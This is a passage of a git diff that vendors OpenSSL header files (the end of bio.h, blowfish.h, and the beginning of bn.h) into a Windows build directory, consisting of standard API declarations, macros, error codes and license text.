\ + BIO_ctrl(b,BIO_C_GET_SSL_NUM_RENEGOTIATES,0,NULL); +#define BIO_set_ssl_renegotiate_timeout(b,seconds) \ + BIO_ctrl(b,BIO_C_SET_SSL_RENEGOTIATE_TIMEOUT,seconds,NULL); + +/* defined in evp.h */ +/* #define BIO_set_md(b,md) BIO_ctrl(b,BIO_C_SET_MD,1,(char *)md) */ + +#define BIO_get_mem_data(b,pp) BIO_ctrl(b,BIO_CTRL_INFO,0,(char *)pp) +#define BIO_set_mem_buf(b,bm,c) BIO_ctrl(b,BIO_C_SET_BUF_MEM,c,(char *)bm) +#define BIO_get_mem_ptr(b,pp) BIO_ctrl(b,BIO_C_GET_BUF_MEM_PTR,0,(char *)pp) +#define BIO_set_mem_eof_return(b,v) \ + BIO_ctrl(b,BIO_C_SET_BUF_MEM_EOF_RETURN,v,NULL) + +/* For the BIO_f_buffer() type */ +#define BIO_get_buffer_num_lines(b) BIO_ctrl(b,BIO_C_GET_BUFF_NUM_LINES,0,NULL) +#define BIO_set_buffer_size(b,size) BIO_ctrl(b,BIO_C_SET_BUFF_SIZE,size,NULL) +#define BIO_set_read_buffer_size(b,size) BIO_int_ctrl(b,BIO_C_SET_BUFF_SIZE,size,0) +#define BIO_set_write_buffer_size(b,size) BIO_int_ctrl(b,BIO_C_SET_BUFF_SIZE,size,1) +#define BIO_set_buffer_read_data(b,buf,num) BIO_ctrl(b,BIO_C_SET_BUFF_READ_DATA,num,buf) + +/* Don't use the next one unless you know what you are doing :-) */ +#define BIO_dup_state(b,ret) BIO_ctrl(b,BIO_CTRL_DUP,0,(char *)(ret)) + +#define BIO_reset(b) (int)BIO_ctrl(b,BIO_CTRL_RESET,0,NULL) +#define BIO_eof(b) (int)BIO_ctrl(b,BIO_CTRL_EOF,0,NULL) +#define BIO_set_close(b,c) (int)BIO_ctrl(b,BIO_CTRL_SET_CLOSE,(c),NULL) +#define BIO_get_close(b) (int)BIO_ctrl(b,BIO_CTRL_GET_CLOSE,0,NULL) +#define BIO_pending(b) (int)BIO_ctrl(b,BIO_CTRL_PENDING,0,NULL) +#define BIO_wpending(b) (int)BIO_ctrl(b,BIO_CTRL_WPENDING,0,NULL) +/* ...pending macros have inappropriate return type */ +size_t BIO_ctrl_pending(BIO *b); +size_t BIO_ctrl_wpending(BIO *b); +#define BIO_flush(b) (int)BIO_ctrl(b,BIO_CTRL_FLUSH,0,NULL) +#define BIO_get_info_callback(b,cbp) (int)BIO_ctrl(b,BIO_CTRL_GET_CALLBACK,0, \ + cbp) +#define BIO_set_info_callback(b,cb) (int)BIO_callback_ctrl(b,BIO_CTRL_SET_CALLBACK,cb) + +/* For the BIO_f_buffer() type */ +#define BIO_buffer_get_num_lines(b) BIO_ctrl(b,BIO_CTRL_GET,0,NULL) + +/* For BIO_s_bio() */ +#define BIO_set_write_buf_size(b,size) (int)BIO_ctrl(b,BIO_C_SET_WRITE_BUF_SIZE,size,NULL) +#define BIO_get_write_buf_size(b,size) (size_t)BIO_ctrl(b,BIO_C_GET_WRITE_BUF_SIZE,size,NULL) +#define BIO_make_bio_pair(b1,b2) (int)BIO_ctrl(b1,BIO_C_MAKE_BIO_PAIR,0,b2) +#define BIO_destroy_bio_pair(b) (int)BIO_ctrl(b,BIO_C_DESTROY_BIO_PAIR,0,NULL) +#define BIO_shutdown_wr(b) (int)BIO_ctrl(b, BIO_C_SHUTDOWN_WR, 0, NULL) +/* macros with inappropriate type -- but ...pending macros use int too: */ +#define BIO_get_write_guarantee(b) (int)BIO_ctrl(b,BIO_C_GET_WRITE_GUARANTEE,0,NULL) +#define BIO_get_read_request(b) (int)BIO_ctrl(b,BIO_C_GET_READ_REQUEST,0,NULL) +size_t BIO_ctrl_get_write_guarantee(BIO *b); +size_t BIO_ctrl_get_read_request(BIO *b); +int BIO_ctrl_reset_read_request(BIO *b); + +/* ctrl macros for dgram */ +#define BIO_ctrl_dgram_connect(b,peer) \ + (int)BIO_ctrl(b,BIO_CTRL_DGRAM_CONNECT,0, (char *)peer) +#define BIO_ctrl_set_connected(b, state, peer) \ + (int)BIO_ctrl(b, BIO_CTRL_DGRAM_SET_CONNECTED, state, (char *)peer) +#define BIO_dgram_recv_timedout(b) \ + (int)BIO_ctrl(b, BIO_CTRL_DGRAM_GET_RECV_TIMER_EXP, 0, NULL) +#define BIO_dgram_send_timedout(b) \ + (int)BIO_ctrl(b, BIO_CTRL_DGRAM_GET_SEND_TIMER_EXP, 0, NULL) +#define BIO_dgram_set_peer(b,peer) \ + (int)BIO_ctrl(b, BIO_CTRL_DGRAM_SET_PEER, 0, (char *)peer) + +/* These two aren't currently implemented */ +/* int BIO_get_ex_num(BIO *bio); */ +/* void BIO_set_ex_free_func(BIO *bio,int idx,void (*cb)()); */ +int BIO_set_ex_data(BIO *bio,int idx,void *data); +void *BIO_get_ex_data(BIO *bio,int idx); +int BIO_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +unsigned long BIO_number_read(BIO *bio); +unsigned long BIO_number_written(BIO *bio); + +# ifndef OPENSSL_NO_FP_API +# if defined(OPENSSL_SYS_WIN16) && defined(_WINDLL) +BIO_METHOD *BIO_s_file_internal(void); +BIO *BIO_new_file_internal(char *filename, char *mode); +BIO *BIO_new_fp_internal(FILE *stream, int close_flag); +# define BIO_s_file BIO_s_file_internal +# define BIO_new_file BIO_new_file_internal +# define BIO_new_fp BIO_new_fp_internal +# else /* FP_API */ +BIO_METHOD *BIO_s_file(void ); +BIO *BIO_new_file(const char *filename, const char *mode); +BIO *BIO_new_fp(FILE *stream, int close_flag); +# define BIO_s_file_internal BIO_s_file +# define BIO_new_file_internal BIO_new_file +# define BIO_new_fp_internal BIO_s_file +# endif /* FP_API */ +# endif +BIO * BIO_new(BIO_METHOD *type); +int BIO_set(BIO *a,BIO_METHOD *type); +int BIO_free(BIO *a); +void BIO_vfree(BIO *a); +int BIO_read(BIO *b, void *data, int len); +int BIO_gets(BIO *bp,char *buf, int size); +int BIO_write(BIO *b, const void *data, int len); +int BIO_puts(BIO *bp,const char *buf); +int BIO_indent(BIO *b,int indent,int max); +long BIO_ctrl(BIO *bp,int cmd,long larg,void *parg); +long BIO_callback_ctrl(BIO *b, int cmd, void (*fp)(struct bio_st *, int, const char *, int, long, long)); +char * BIO_ptr_ctrl(BIO *bp,int cmd,long larg); +long BIO_int_ctrl(BIO *bp,int cmd,long larg,int iarg); +BIO * BIO_push(BIO *b,BIO *append); +BIO * BIO_pop(BIO *b); +void BIO_free_all(BIO *a); +BIO * BIO_find_type(BIO *b,int bio_type); +BIO * BIO_next(BIO *b); +BIO * BIO_get_retry_BIO(BIO *bio, int *reason); +int BIO_get_retry_reason(BIO *bio); +BIO * BIO_dup_chain(BIO *in); + +int BIO_nread0(BIO *bio, char **buf); +int BIO_nread(BIO *bio, char **buf, int num); +int BIO_nwrite0(BIO *bio, char **buf); +int BIO_nwrite(BIO *bio, char **buf, int num); + +#ifndef OPENSSL_SYS_WIN16 +long BIO_debug_callback(BIO *bio,int cmd,const char *argp,int argi, + long argl,long ret); +#else +long _far _loadds BIO_debug_callback(BIO *bio,int cmd,const char *argp,int argi, + long argl,long ret); +#endif + +BIO_METHOD *BIO_s_mem(void); +BIO *BIO_new_mem_buf(void *buf, int len); +BIO_METHOD *BIO_s_socket(void); +BIO_METHOD *BIO_s_connect(void); +BIO_METHOD *BIO_s_accept(void); +BIO_METHOD *BIO_s_fd(void); +#ifndef OPENSSL_SYS_OS2 +BIO_METHOD *BIO_s_log(void); +#endif +BIO_METHOD *BIO_s_bio(void); +BIO_METHOD *BIO_s_null(void); +BIO_METHOD *BIO_f_null(void); +BIO_METHOD *BIO_f_buffer(void); +#ifdef OPENSSL_SYS_VMS +BIO_METHOD *BIO_f_linebuffer(void); +#endif +BIO_METHOD *BIO_f_nbio_test(void); +#ifndef OPENSSL_NO_DGRAM +BIO_METHOD *BIO_s_datagram(void); +#endif + +/* BIO_METHOD *BIO_f_ber(void); */ + +int BIO_sock_should_retry(int i); +int BIO_sock_non_fatal_error(int error); +int BIO_dgram_non_fatal_error(int error); + +int BIO_fd_should_retry(int i); +int BIO_fd_non_fatal_error(int error); +int BIO_dump_cb(int (*cb)(const void *data, size_t len, void *u), + void *u, const char *s, int len); +int BIO_dump_indent_cb(int (*cb)(const void *data, size_t len, void *u), + void *u, const char *s, int len, int indent); +int BIO_dump(BIO *b,const char *bytes,int len); +int BIO_dump_indent(BIO *b,const char *bytes,int len,int indent); +#ifndef OPENSSL_NO_FP_API +int BIO_dump_fp(FILE *fp, const char *s, int len); +int BIO_dump_indent_fp(FILE *fp, const char *s, int len, int indent); +#endif +struct hostent *BIO_gethostbyname(const char *name); +/* We might want a thread-safe interface too: + * struct hostent *BIO_gethostbyname_r(const char *name, + * struct hostent *result, void *buffer, size_t buflen); + * or something similar (caller allocates a struct hostent, + * pointed to by "result", and additional buffer space for the various + * substructures; if the buffer does not suffice, NULL is returned + * and an appropriate error code is set). + */ +int BIO_sock_error(int sock); +int BIO_socket_ioctl(int fd, long type, void *arg); +int BIO_socket_nbio(int fd,int mode); +int BIO_get_port(const char *str, unsigned short *port_ptr); +int BIO_get_host_ip(const char *str, unsigned char *ip); +int BIO_get_accept_socket(char *host_port,int mode); +int BIO_accept(int sock,char **ip_port); +int BIO_sock_init(void ); +void BIO_sock_cleanup(void); +int BIO_set_tcp_ndelay(int sock,int turn_on); + +BIO *BIO_new_socket(int sock, int close_flag); +BIO *BIO_new_dgram(int fd, int close_flag); +BIO *BIO_new_fd(int fd, int close_flag); +BIO *BIO_new_connect(char *host_port); +BIO *BIO_new_accept(char *host_port); + +int BIO_new_bio_pair(BIO **bio1, size_t writebuf1, + BIO **bio2, size_t writebuf2); +/* If successful, returns 1 and in *bio1, *bio2 two BIO pair endpoints. + * Otherwise returns 0 and sets *bio1 and *bio2 to NULL. + * Size 0 uses default value. + */ + +void BIO_copy_next_retry(BIO *b); + +/*long BIO_ghbn_ctrl(int cmd,int iarg,char *parg);*/ + +#ifdef __GNUC__ +# define __bio_h__attr__ __attribute__ +#else +# define __bio_h__attr__(x) +#endif +int BIO_printf(BIO *bio, const char *format, ...) + __bio_h__attr__((__format__(__printf__,2,3))); +int BIO_vprintf(BIO *bio, const char *format, va_list args) + __bio_h__attr__((__format__(__printf__,2,0))); +int BIO_snprintf(char *buf, size_t n, const char *format, ...) + __bio_h__attr__((__format__(__printf__,3,4))); +int BIO_vsnprintf(char *buf, size_t n, const char *format, va_list args) + __bio_h__attr__((__format__(__printf__,3,0))); +#undef __bio_h__attr__ + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_BIO_strings(void); + +/* Error codes for the BIO functions. */ + +/* Function codes. */ +#define BIO_F_ACPT_STATE 100 +#define BIO_F_BIO_ACCEPT 101 +#define BIO_F_BIO_BER_GET_HEADER 102 +#define BIO_F_BIO_CALLBACK_CTRL 131 +#define BIO_F_BIO_CTRL 103 +#define BIO_F_BIO_GETHOSTBYNAME 120 +#define BIO_F_BIO_GETS 104 +#define BIO_F_BIO_GET_ACCEPT_SOCKET 105 +#define BIO_F_BIO_GET_HOST_IP 106 +#define BIO_F_BIO_GET_PORT 107 +#define BIO_F_BIO_MAKE_PAIR 121 +#define BIO_F_BIO_NEW 108 +#define BIO_F_BIO_NEW_FILE 109 +#define BIO_F_BIO_NEW_MEM_BUF 126 +#define BIO_F_BIO_NREAD 123 +#define BIO_F_BIO_NREAD0 124 +#define BIO_F_BIO_NWRITE 125 +#define BIO_F_BIO_NWRITE0 122 +#define BIO_F_BIO_PUTS 110 +#define BIO_F_BIO_READ 111 +#define BIO_F_BIO_SOCK_INIT 112 +#define BIO_F_BIO_WRITE 113 +#define BIO_F_BUFFER_CTRL 114 +#define BIO_F_CONN_CTRL 127 +#define BIO_F_CONN_STATE 115 +#define BIO_F_FILE_CTRL 116 +#define BIO_F_FILE_READ 130 +#define BIO_F_LINEBUFFER_CTRL 129 +#define BIO_F_MEM_READ 128 +#define BIO_F_MEM_WRITE 117 +#define BIO_F_SSL_NEW 118 +#define BIO_F_WSASTARTUP 119 + +/* Reason codes. */ +#define BIO_R_ACCEPT_ERROR 100 +#define BIO_R_BAD_FOPEN_MODE 101 +#define BIO_R_BAD_HOSTNAME_LOOKUP 102 +#define BIO_R_BROKEN_PIPE 124 +#define BIO_R_CONNECT_ERROR 103 +#define BIO_R_EOF_ON_MEMORY_BIO 127 +#define BIO_R_ERROR_SETTING_NBIO 104 +#define BIO_R_ERROR_SETTING_NBIO_ON_ACCEPTED_SOCKET 105 +#define BIO_R_ERROR_SETTING_NBIO_ON_ACCEPT_SOCKET 106 +#define BIO_R_GETHOSTBYNAME_ADDR_IS_NOT_AF_INET 107 +#define BIO_R_INVALID_ARGUMENT 125 +#define BIO_R_INVALID_IP_ADDRESS 108 +#define BIO_R_IN_USE 123 +#define BIO_R_KEEPALIVE 109 +#define BIO_R_NBIO_CONNECT_ERROR 110 +#define BIO_R_NO_ACCEPT_PORT_SPECIFIED 111 +#define BIO_R_NO_HOSTNAME_SPECIFIED 112 +#define BIO_R_NO_PORT_DEFINED 113 +#define BIO_R_NO_PORT_SPECIFIED 114 +#define BIO_R_NO_SUCH_FILE 128 +#define BIO_R_NULL_PARAMETER 115 +#define BIO_R_TAG_MISMATCH 116 +#define BIO_R_UNABLE_TO_BIND_SOCKET 117 +#define BIO_R_UNABLE_TO_CREATE_SOCKET 118 +#define BIO_R_UNABLE_TO_LISTEN_SOCKET 119 +#define BIO_R_UNINITIALIZED 120 +#define BIO_R_UNSUPPORTED_METHOD 121 +#define BIO_R_WRITE_TO_READ_ONLY_BIO 126 +#define BIO_R_WSASTARTUP 122 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/blowfish.h b/winstuff/openssl/blowfish.h new file mode 100644 index 0000000..d24ffcc --- /dev/null +++ b/winstuff/openssl/blowfish.h @@ -0,0 +1,129 @@ +/* crypto/bf/blowfish.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_BLOWFISH_H +#define HEADER_BLOWFISH_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef OPENSSL_NO_BF +#error BF is disabled. +#endif + +#define BF_ENCRYPT 1 +#define BF_DECRYPT 0 + +/* + * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + * ! BF_LONG has to be at least 32 bits wide. If it's wider, then ! + * ! BF_LONG_LOG2 has to be defined along. ! + * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + */ + +#if defined(OPENSSL_SYS_WIN16) || defined(__LP32__) +#define BF_LONG unsigned long +#elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) +#define BF_LONG unsigned long +#define BF_LONG_LOG2 3 +/* + * _CRAY note. I could declare short, but I have no idea what impact + * does it have on performance on none-T3E machines. I could declare + * int, but at least on C90 sizeof(int) can be chosen at compile time. + * So I've chosen long... + * + */ +#else +#define BF_LONG unsigned int +#endif + +#define BF_ROUNDS 16 +#define BF_BLOCK 8 + +typedef struct bf_key_st + { + BF_LONG P[BF_ROUNDS+2]; + BF_LONG S[4*256]; + } BF_KEY; + +#ifdef OPENSSL_FIPS +void private_BF_set_key(BF_KEY *key, int len, const unsigned char *data); +#endif +void BF_set_key(BF_KEY *key, int len, const unsigned char *data); + +void BF_encrypt(BF_LONG *data,const BF_KEY *key); +void BF_decrypt(BF_LONG *data,const BF_KEY *key); + +void BF_ecb_encrypt(const unsigned char *in, unsigned char *out, + const BF_KEY *key, int enc); +void BF_cbc_encrypt(const unsigned char *in, unsigned char *out, long length, + const BF_KEY *schedule, unsigned char *ivec, int enc); +void BF_cfb64_encrypt(const unsigned char *in, unsigned char *out, long length, + const BF_KEY *schedule, unsigned char *ivec, int *num, int enc); +void BF_ofb64_encrypt(const unsigned char *in, unsigned char *out, long length, + const BF_KEY *schedule, unsigned char *ivec, int *num); +const char *BF_options(void); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/bn.h b/winstuff/openssl/bn.h new file mode 100644 index 0000000..f1719a5 --- /dev/null +++ b/winstuff/openssl/bn.h @@ -0,0 +1,855 @@ +/* crypto/bn/bn.h */ +/* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * + * Portions of the attached software ("Contribution") are developed by + * SUN MICROSYSTEMS, INC., and are contributed to the OpenSSL project. + * + * The Contribution is licensed pursuant to the Eric Young open source + * license provided above. + * + * The binary polynomial arithmetic software is originally written by + * Sheueling Chang Shantz and Douglas Stebila of Sun Microsystems Laboratories. + * + */ + +#ifndef HEADER_BN_H +#define HEADER_BN_H + +#include +#ifndef OPENSSL_NO_FP_API +#include /* FILE */ +#endif +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* These preprocessor symbols control various aspects of the bignum headers and + * library code. They're not defined by any "normal" configuration, as they are + * intended for development and testing purposes. NB: defining all three can be + * useful for debugging application code as well as openssl itself. + * + * BN_DEBUG - turn on various debugging alterations to the bignum code + * BN_DEBUG_RAND - uses random poisoning of unused words to trip up + * mismanagement of bignum internals. You must also define BN_DEBUG. + */ +/* #define BN_DEBUG */ +/* #define BN_DEBUG_RAND */ + +#define BN_MUL_COMBA +#define BN_SQR_COMBA +#define BN_RECURSION + +/* This next option uses the C libraries (2 word)/(1 word) function. + * If it is not defined, I use my C version (which is slower). + * The reason for this flag is that when the particular C compiler + * library routine is used, and the library is linked with a different + * compiler, the library is missing. This mostly happens when the + * library is built with gcc and then linked using normal cc. This would + * be a common occurrence because gcc normally produces code that is + * 2 times faster than system compilers for the big number stuff. + * For machines with only one compiler (or shared libraries), this should + * be on. Again this in only really a problem on machines + * using "long long's", are 32bit, and are not using my assembler code. */ +#if defined(OPENSSL_SYS_MSDOS) || defined(OPENSSL_SYS_WINDOWS) || \ + defined(OPENSSL_SYS_WIN32) || defined(linux) +# ifndef BN_DIV2W +# define BN_DIV2W +# endif +#endif + +/* assuming long is 64bit - this is the DEC Alpha + * unsigned long long is only 64 bits :-(, don't define + * BN_LLONG for the DEC Alpha */ +#ifdef SIXTY_FOUR_BIT_LONG +#define BN_ULLONG unsigned long long +#define BN_ULONG unsigned long +#define BN_LONG long +#define BN_BITS 128 +#define BN_BYTES 8 +#define BN_BITS2 64 +#define BN_BITS4 32 +#define BN_MASK (0xffffffffffffffffffffffffffffffffLL) +#define BN_MASK2 (0xffffffffffffffffL) +#define BN_MASK2l (0xffffffffL) +#define BN_MASK2h (0xffffffff00000000L) +#define BN_MASK2h1 (0xffffffff80000000L) +#define BN_TBIT (0x8000000000000000L) +#define BN_DEC_CONV (10000000000000000000UL) +#define BN_DEC_FMT1 "%lu" +#define BN_DEC_FMT2 "%019lu" +#define BN_DEC_NUM 19 +#endif + +/* This is where the long long data type is 64 bits, but long is 32. + * For machines where there are 64bit registers, this is the mode to use. + * IRIX, on R4000 and above should use this mode, along with the relevant + * assembler code :-). Do NOT define BN_LLONG. + */ +#ifdef SIXTY_FOUR_BIT +#undef BN_LLONG +#undef BN_ULLONG +#define BN_ULONG unsigned long long +#define BN_LONG long long +#define BN_BITS 128 +#define BN_BYTES 8 +#define BN_BITS2 64 +#define BN_BITS4 32 +#define BN_MASK2 (0xffffffffffffffffLL) +#define BN_MASK2l (0xffffffffL) +#define BN_MASK2h (0xffffffff00000000LL) +#define BN_MASK2h1 (0xffffffff80000000LL) +#define BN_TBIT (0x8000000000000000LL) +#define BN_DEC_CONV (10000000000000000000ULL) +#define BN_DEC_FMT1 "%llu" +#define BN_DEC_FMT2 "%019llu" +#define BN_DEC_NUM 19 +#endif + +#ifdef THIRTY_TWO_BIT +#ifdef BN_LLONG +# if defined(OPENSSL_SYS_WIN32) && !defined(__GNUC__) +# define BN_ULLONG unsigned __int64 +# else +# define BN_ULLONG unsigned long long +# endif +#endif +#define BN_ULONG unsigned long +#define BN_LONG long +#define BN_BITS 64 +#define BN_BYTES 4 +#define BN_BITS2 32 +#define BN_BITS4 16 +#ifdef OPENSSL_SYS_WIN32 +/* VC++ doesn't like the LL suffix */ +#define BN_MASK (0xffffffffffffffffL) +#else +#define BN_MASK (0xffffffffffffffffLL) +#endif +#define BN_MASK2 (0xffffffffL) +#define BN_MASK2l (0xffff) +#define BN_MASK2h1 (0xffff8000L) +#define BN_MASK2h (0xffff0000L) +#define BN_TBIT (0x80000000L) +#define BN_DEC_CONV (1000000000L) +#define BN_DEC_FMT1 "%lu" +#define BN_DEC_FMT2 "%09lu" +#define BN_DEC_NUM 9 +#endif + +#ifdef SIXTEEN_BIT +#ifndef BN_DIV2W +#define BN_DIV2W +#endif +#define BN_ULLONG unsigned long +#define BN_ULONG unsigned short +#define BN_LONG short +#define BN_BITS 32 +#define BN_BYTES 2 +#define BN_BITS2 16 +#define BN_BITS4 8 +#define BN_MASK (0xffffffff) +#define BN_MASK2 (0xffff) +#define BN_MASK2l (0xff) +#define BN_MASK2h1 (0xff80) +#define BN_MASK2h (0xff00) +#define BN_TBIT (0x8000) +#define BN_DEC_CONV (100000) +#define BN_DEC_FMT1 "%u" +#define BN_DEC_FMT2 "%05u" +#define BN_DEC_NUM 5 +#endif + +#ifdef EIGHT_BIT +#ifndef BN_DIV2W +#define BN_DIV2W +#endif +#define BN_ULLONG unsigned short +#define BN_ULONG unsigned char +#define BN_LONG char +#define BN_BITS 16 +#define BN_BYTES 1 +#define BN_BITS2 8 +#define BN_BITS4 4 +#define BN_MASK (0xffff) +#define BN_MASK2 (0xff) +#define BN_MASK2l (0xf) +#define BN_MASK2h1 (0xf8) +#define BN_MASK2h (0xf0) +#define BN_TBIT (0x80) +#define BN_DEC_CONV (100) +#define BN_DEC_FMT1 "%u" +#define BN_DEC_FMT2 "%02u" +#define BN_DEC_NUM 2 +#endif + +#define BN_DEFAULT_BITS 1280 + +#define BN_FLG_MALLOCED 0x01 +#define BN_FLG_STATIC_DATA 0x02 +#define BN_FLG_CONSTTIME 0x04 /* avoid leaking exponent information through timing, + * BN_mod_exp_mont() will call BN_mod_exp_mont_consttime, + * BN_div() will call BN_div_no_branch, + * BN_mod_inverse() will call BN_mod_inverse_no_branch. + */ + +#ifndef OPENSSL_NO_DEPRECATED +#define BN_FLG_EXP_CONSTTIME BN_FLG_CONSTTIME /* deprecated name for the flag */ + /* avoid leaking exponent information through timings + * (BN_mod_exp_mont() will call BN_mod_exp_mont_consttime) */ +#endif + +#ifndef OPENSSL_NO_DEPRECATED +#define BN_FLG_FREE 0x8000 /* used for debuging */ +#endif +#define BN_set_flags(b,n) ((b)->flags|=(n)) +#define BN_get_flags(b,n) ((b)->flags&(n)) + +/* get a clone of a BIGNUM with changed flags, for *temporary* use only + * (the two BIGNUMs cannot not be used in parallel!) */ +#define BN_with_flags(dest,b,n) ((dest)->d=(b)->d, \ + (dest)->top=(b)->top, \ + (dest)->dmax=(b)->dmax, \ + (dest)->neg=(b)->neg, \ + (dest)->flags=(((dest)->flags & BN_FLG_MALLOCED) \ + | ((b)->flags & ~BN_FLG_MALLOCED) \ + | BN_FLG_STATIC_DATA \ + | (n))) + +/* Already declared in ossl_typ.h */ +#if 0 +typedef struct bignum_st BIGNUM; +/* Used for temp variables (declaration hidden in bn_lcl.h) */ +typedef struct bignum_ctx BN_CTX; +typedef struct bn_blinding_st BN_BLINDING; +typedef struct bn_mont_ctx_st BN_MONT_CTX; +typedef struct bn_recp_ctx_st BN_RECP_CTX; +typedef struct bn_gencb_st BN_GENCB; +#endif + +struct bignum_st + { + BN_ULONG *d; /* Pointer to an array of 'BN_BITS2' bit chunks. */ + int top; /* Index of last used d +1. */ + /* The next are internal book keeping for bn_expand. */ + int dmax; /* Size of the d array. */ + int neg; /* one if the number is negative */ + int flags; + }; + +/* Used for montgomery multiplication */ +struct bn_mont_ctx_st + { + int ri; /* number of bits in R */ + BIGNUM RR; /* used to convert to montgomery form */ + BIGNUM N; /* The modulus */ + BIGNUM Ni; /* R*(1/R mod N) - N*Ni = 1 + * (Ni is only stored for bignum algorithm) */ +#if 0 + /* OpenSSL 0.9.9 preview: */ + BN_ULONG n0[2];/* least significant word(s) of Ni */ +#else + BN_ULONG n0; /* least significant word of Ni */ +#endif + int flags; + }; + +/* Used for reciprocal division/mod functions + * It cannot be shared between threads + */ +struct bn_recp_ctx_st + { + BIGNUM N; /* the divisor */ + BIGNUM Nr; /* the reciprocal */ + int num_bits; 